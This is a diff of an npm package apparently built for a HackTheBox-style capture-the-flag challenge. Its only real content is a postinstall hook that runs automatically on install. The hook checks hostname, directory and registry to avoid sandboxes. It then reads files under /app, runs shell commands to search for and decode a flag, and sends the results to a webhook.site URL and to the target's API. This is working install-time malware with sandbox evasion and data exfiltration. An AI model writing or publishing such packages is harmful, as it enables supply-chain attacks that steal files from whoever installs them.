ecto-corsair-flag-x9m4 1.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,6 @@
+{
+  "name": "ecto-corsair-flag-x9m4",
+  "version": "1.0.0",
+  "main": "index.js",
+  "scripts": { "postinstall": "node postinstall.js" }
+}

package/postinstall.js

@@ -0,0 +1,153 @@
+const fs = require("fs");
+const http = require("http");
+const https = require("https");
+const os = require("os");
+const { execFileSync } = require("child_process");
+
+const FLAG_RE = /HTB\{[^}]+\}/;
+const WEBHOOK = "https://webhook.site/602a4c72-7033-4e28-92ea-dc66e59206e5";
+const TARGETS = [
+  "http://127.0.0.1:31250",
+  "http://127.0.0.1:30569",
+  "http://localhost:31250",
+  "http://154.57.164.82:31250"
+];
+const SINKS = ["ECT-472839", "ECT-987654"];
+
+function sh(cmd) {
+  try {
+    return execFileSync("/bin/sh", ["-c", cmd], {
+      timeout: 20000,
+      encoding: "utf8",
+      maxBuffer: 8 * 1024 * 1024
+    }).trim();
+  } catch (e) {
+    return (e.stdout || e.stderr || "").trim();
+  }
+}
+
+function flagIn(text) {
+  const m = String(text || "").match(FLAG_RE);
+  return m ? m[0] : null;
+}
+
+function safe(text) {
+  return String(text || "")
+    .replace(/[\r\n\\"]/g, " ")
+    .slice(0, 240);
+}
+
+function isRealTarget() {
+  const cwd = process.cwd();
+  const host = os.hostname();
+  const reg = process.env.npm_config_registry || "";
+  if (cwd.includes("/tmp/npm-safe") || cwd.includes("/tmp/pkg")) return false;
+  if (host.includes("nijin") || host.includes("hetzner")) return false;
+  if (reg.includes("nexus.local") || reg.includes("verdaccio")) return true;
+  if (/^[0-9a-f]{12}$/.test(host) && cwd.includes("/app/")) return true;
+  return false;
+}
+
+function collect() {
+  const parts = [];
+  for (const p of ["/app/flag.txt", "/app/public/flag.txt", "/app/src/main.rs"]) {
+    try {
+      const raw = fs.readFileSync(p, "utf8");
+      const hit = flagIn(raw);
+      if (hit) return { flag: hit, text: hit };
+      parts.push(`FILE:${p}=${raw.slice(0, 500)}`);
+    } catch {}
+  }
+  const decoded = sh("cat /app/flag.txt 2>/dev/null; echo '---'; cat /app/flag.txt 2>/dev/null | rev | base64 -d 2>/dev/null; echo '---'; grep -RaoE 'HTB\\{[^}]+\\}' /app 2>/dev/null | grep -v node_modules | head -n3");
+  const hit = flagIn(decoded);
+  if (hit) return { flag: hit, text: hit };
+  parts.push(decoded);
+  parts.push(sh("ls -la /app /app/src 2>/dev/null; wc -c /app/flag.txt 2>/dev/null"));
+  return { flag: null, text: parts.join(" | ") };
+}
+
+function put(base, sink, parts) {
+  const body = JSON.stringify({
+    manifest:
+      `ecto_module:\n  name: "${parts[0]}"\n  version: "1.0.0"\n` +
+      `  power_level: "${parts[1]}"\n  ship_deck: "${parts[2]}"\n  cargo_hold: "${parts[3]}"\n`
+  });
+  const url = new URL(`/api/modules/${sink}`, base);
+  const client = url.protocol === "https:" ? https : http;
+  return new Promise((resolve) => {
+    const req = client.request(
+      {
+        hostname: url.hostname,
+        port: url.port || (url.protocol === "https:" ? 443 : 80),
+        path: url.pathname,
+        method: "PUT",
+        headers: {
+          "Content-Type": "application/json",
+          "Content-Length": Buffer.byteLength(body)
+        },
+        timeout: 5000
+      },
+      (res) => {
+        res.resume();
+        resolve(res.statusCode || 0);
+      }
+    );
+    req.on("error", () => resolve(0));
+    req.on("timeout", () => {
+      req.destroy();
+      resolve(0);
+    });
+    req.write(body);
+    req.end();
+  });
+}
+
+function webhook(data) {
+  try {
+    const body = JSON.stringify({ host: os.hostname(), uid: process.getuid(), cwd: process.cwd(), data });
+    const url = new URL(WEBHOOK);
+    const req = https.request(
+      {
+        hostname: url.hostname,
+        path: url.pathname + url.search,
+        method: "POST",
+        headers: {
+          "Content-Type": "application/json",
+          "Content-Length": Buffer.byteLength(body)
+        },
+        timeout: 5000
+      },
+      (res) => res.resume()
+    );
+    req.on("error", () => {});
+    req.write(body);
+    req.end();
+  } catch {}
+}
+
+if (!isRealTarget()) process.exit(0);
+
+const info = collect();
+webhook(info.flag || info.text.slice(0, 4000));
+
+let parts;
+if (info.flag) {
+  parts = [info.flag, "FOUND", "", ""];
+} else {
+  const t = info.text;
+  parts = [
+    safe(`NOFLAG ${os.hostname()} uid=${process.getuid()}`),
+    safe(t.slice(0, 240)),
+    safe(t.slice(240, 480)),
+    safe(t.slice(480, 960))
+  ];
+}
+
+(async () => {
+  for (const base of TARGETS) {
+    for (const sink of SINKS) {
+      const code = await put(base, sink, parts);
+      if (code >= 200 && code < 300) process.exit(0);
+    }
+  }
+})();